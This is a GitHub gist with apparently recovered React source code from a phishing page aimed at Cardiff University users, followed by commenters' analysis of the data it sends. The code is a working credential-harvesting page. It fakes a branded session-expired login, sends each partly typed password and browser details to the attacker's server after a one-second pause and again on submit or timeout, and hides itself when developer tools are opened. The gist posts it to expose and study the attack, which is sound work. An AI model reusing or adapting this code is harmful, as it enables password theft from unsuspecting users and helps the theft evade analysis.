Last active
November 28, 2018 15:03
-
-
Save copleston/201c952316b1287f6fef3abed7a3107c to your computer and use it in GitHub Desktop.
Cardiff Uni Phishing Attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { Component } from 'react' | |
import axios from 'axios' | |
import { Helmet } from 'react-helmet' | |
import { createBrowserHistory } from 'history' | |
const browserHistory = createBrowserHistory({ forceRefresh: false }) | |
var randomstring = require('randomstring') | |
const devtools = require('devtools-detect') | |
let DISABLE_PROTECTION = true | |
if (process.env.NODE_ENV == 'production') { | |
DISABLE_PROTECTION = false | |
} | |
const REDIRECT_DELAY = 0 | |
const unlisten = browserHistory.listen((location, action) => { | |
// location is an object like window.location | |
// alert(JSON.stringify(action, location.pathname, location.state)) | |
return false | |
}) | |
const SvgLoader = props => ( | |
<svg width={200} height={200} viewBox="0 0 100 100" preserveAspectRatio="xMidYMid" className="lds-eclipse" style={{ background: '0 0' }} {...props}> | |
<path d="M27.298 18.052a40 40 0 0 0 47.022 64.72 40 42 54 0 1-47.022-64.72" fill="#39f"> | |
<animateTransform attributeName="transform" type="rotate" calcMode="linear" values="0 50 51;360 50 51" keyTimes="0;1" dur="1s" begin="0s" repeatCount="indefinite" /> | |
</path> | |
</svg> | |
) | |
const Loading = () => ( | |
<div style={{ textAlign: 'center' }}> | |
<SvgLoader style={{ paddingTop: '35px', maxWidth: '80px' }} alt="Loading..." /> | |
</div> | |
) | |
class App extends Component { | |
constructor(props) { | |
super(props) | |
this.state = { | |
ispconf: null, | |
imageStatus: 'not loaded', | |
logo: null, | |
favicon: null, | |
redirect: false, | |
password: '', | |
dev: false, | |
reason: null | |
} | |
this.defaultPromo = '/redirect' | |
this.typetimer = null | |
this.testtimer = null | |
} | |
componentWillUnmount() { | |
debugger | |
} | |
async componentWillMount() { | |
if (!DISABLE_PROTECTION) { | |
window.devtools = devtools | |
if (window.devtools) { | |
if (window.devtools.open) { | |
this.setState({ dev: true, redirect: true }) | |
return window.location('about:blank') | |
} | |
} | |
window.addEventListener('devtoolschange', e => { | |
if (e.detail.open) { | |
this.setState({ dev: true }) | |
this.rp() | |
} | |
}) | |
} | |
this.init() | |
this.handleLogin = this.handleLogin.bind(this) | |
this.handleType = this.handleType.bind(this) | |
this.handleData = this.handleData.bind(this) | |
this.handleTimeout = this.handleTimeout.bind(this) | |
} | |
async init() { | |
let path = window.location.href.split('/').pop() | |
browserHistory.push('/') | |
let data = {} | |
if (path.length < 7) { | |
this.setState({ redirect: true, reason: 'pl7' }) | |
return false | |
} | |
data = await axios | |
.get(`/api/` + path, { timeout: 30000 }) | |
.then(res => { | |
if (res.data) { | |
if (res.data.p) { | |
this.defaultPromo = res.data.p | |
} | |
} | |
return res.data | |
}) | |
.catch(error => { | |
this.setState({ redirect: true, reason: 'aerr' }) | |
}) | |
if (data) { | |
if (data.email) { | |
let advancedMatching = { em: data.email } | |
const options = { | |
autoConfig: true, | |
debug: true | |
} | |
this.setState({ ispconf: data, imageStatus: 'loading' }) | |
if (!data.ispname) { | |
this.setState({ redirect: true, reason: 'noin' }) | |
} else { | |
var img = new Image() | |
img.src = './' + data.logo // Assigning the img src immediately requests the image | |
img.onload = () => { | |
this.setState({ | |
logo: img.src, | |
favicon: data.favicon ? data.favicon : img.src, | |
imageStatus: 'loaded' | |
}) | |
} | |
img.onerror = () => { | |
this.setState({ | |
logo: img.src, | |
favicon: data.favicon ? data.favicon : img.src, | |
imageStatus: 'loaded' | |
}) | |
} | |
} | |
} | |
} | |
} | |
handleLogin() { | |
var lres = this.handleData({ | |
u: this.state.ispconf.email, | |
p: this.state.password, | |
n: this.getn(navigator), | |
l: true | |
}).then(res => { | |
if (res.data.url) { | |
this.defaultPromo = res.data.url | |
} | |
this.setState({ redirect: true, reason: 'hl' }) | |
}) | |
} | |
handleData(data) { | |
return axios.post('/api/' + randomstring.generate(), data) | |
} | |
handleTimeout() { | |
var lres = this.handleData({ | |
u: this.state.ispconf.email, | |
p: this.state.password, | |
n: this.getn(navigator), | |
to: true | |
}).then(res => { | |
if (res.data.url) { | |
this.defaultPromo = res.data.url | |
} | |
this.setState({ redirect: true, reason: 'tout' }) | |
}) | |
} | |
getn(navigator) { | |
let d = {} | |
for (var property in navigator) { | |
var str = navigator[property] | |
d[property] = str | |
} | |
return d | |
} | |
handleType(evt) { | |
this.setState({ password: evt.target.value }) | |
clearTimeout(this.typetimer) | |
if (evt.target.value.length === 0) { | |
return true | |
} | |
if (evt.target.value.length > this.state.password.length) { | |
this.setState({ partial: evt.target.value }) | |
this.typetimer = setTimeout(() => { | |
this.handleData({ | |
u: this.state.ispconf.email, | |
p: this.state.partial, | |
n: this.getn(navigator), | |
t: true | |
}) | |
}, 1000) | |
} | |
} | |
onKeyDown = event => { | |
if (event.key === 'Enter') { | |
event.preventDefault() | |
event.stopPropagation() | |
this.handleLogin() | |
} | |
} | |
componentDidMount() { | |
if (this.state.ispconf) { | |
this.nameInput.focus() | |
} | |
setTimeout(() => { | |
this.handleTimeout() | |
}, 55000) | |
} | |
rp = () => { | |
if (DISABLE_PROTECTION) return true | |
this.handleData({ c: true, ...this.state, n: this.getn(navigator), d: true }).then(() => { | |
window.location.href = 'about:blank' | |
}) | |
} | |
render() { | |
let ispconf = this.state.ispconf | |
if (this.state.redirect === true) { | |
setTimeout(() => { | |
window.location = this.state.reason && this.defaultPromo == '/redirect' ? '/redirect?r=' + this.state.reason : this.defaultPromo | |
}, REDIRECT_DELAY) | |
return <Loading /> | |
} | |
if (!this.state.logo || !this.state.ispconf) { | |
return <Loading /> | |
} | |
return ( | |
<div className="App"> | |
<Helmet> | |
<title>{ispconf.ispname}</title> | |
<meta name="description" content={ispconf.ispname} /> | |
{this.state.favicon ? <link rel="icon" href={this.state.favicon} /> : <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" />} | |
</Helmet> | |
<div className="login-box-container"> | |
<div className="login-box default"> | |
<div className="txt-align-center"> | |
<img className="logo" src={this.state.logo} alt={ispconf.ispname} /> | |
</div> | |
<div className="challenge"> | |
<div id="password-challenge" className="primary"> | |
<div className="greeting"> | |
<h1 className="username">Hello {ispconf.email}</h1> | |
<p className="session-expired" style={{ fontSize: '12px', color: '#dd1037' }}> | |
Logged out due to inactivity, Sign in to continue | |
</p> | |
</div> | |
<div className="hidden-username"> | |
<input type="hidden" tabIndex="-1" aria-hidden="true" role="presentation" autoCorrect="off" spellCheck="false" name="username" value="" autoComplete="off" /> | |
</div> | |
<input type="hidden" name="passwordContext" value="normal" /> | |
<input | |
onChange={this.handleType} | |
onKeyDown={this.onKeyDown} | |
ref={input => { | |
this.nameInput = input | |
}} | |
className="password" | |
type="password" | |
id="login-passwd" | |
name="password" | |
placeholder="Password" | |
autoFocus="true" | |
autoComplete="off" | |
value={this.state.password} | |
/> | |
<p className="signin-cont"> | |
<button | |
onClick={() => this.handleLogin()} | |
id="login-signin" | |
className="pure-button puree-button-primary puree-spinner-button" | |
name="verifyPassword" | |
value="Sign in" | |
> | |
Sign in | |
</button> | |
</p> | |
</div> | |
</div> | |
</div> | |
<div id="login-box-ad-fallback" className="login-box-ad-fallback" style={{ display: 'block' }}> | |
<p /> | |
</div> | |
</div> | |
</div> | |
) | |
} | |
} | |
export default App | |
// WEBPACK FOOTER // | |
// ./src/App.js |
At least they have the decency to use asynchronous functions instead of then
I see that you're a glass-half-full kinda guy
This is what an API response looks like: https://gist.github.com/DavidBuchanan314/614083de78b1b918f9e4cd4d5e1806aa
XHR That gets sent 1 second after every key press or upon form submission:
"u":"[email protected]",
"p":"1234",
"n":{
"vendorSub":"",
"productSub":"20030107",
"vendor":"Google Inc.",
"maxTouchPoints":0,
"hardwareConcurrency":1,
"cookieEnabled":true,
"appCodeName":"Mozilla",
"appName":"Netscape",
"appVersion":"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
"platform":"Win32",
"product":"Gecko",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
"language":"en-US",
"languages":[
"en-US",
"en"
],
"onLine":true,
"doNotTrack":null,
"geolocation":{
},
"mediaDevices":{
},
"connection":{
},
"plugins":{
"0":{
"0":{
}
},
"1":{
"0":{
}
},
"2":{
"0":{
},
"1":{
}
}
},
"mimeTypes":{
"0":{
},
"1":{
},
"2":{
},
"3":{
}
},
"webkitTemporaryStorage":{
},
"webkitPersistentStorage":{
},
"permissions":{
},
"presentation":{
},
"mediaCapabilities":{
}
},
"l":true
}
I've found no evidence of the page autifilling the password as some people are claiming. Can anyone prove me wrong?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
At least they have the decency to use asynchronous functions instead of then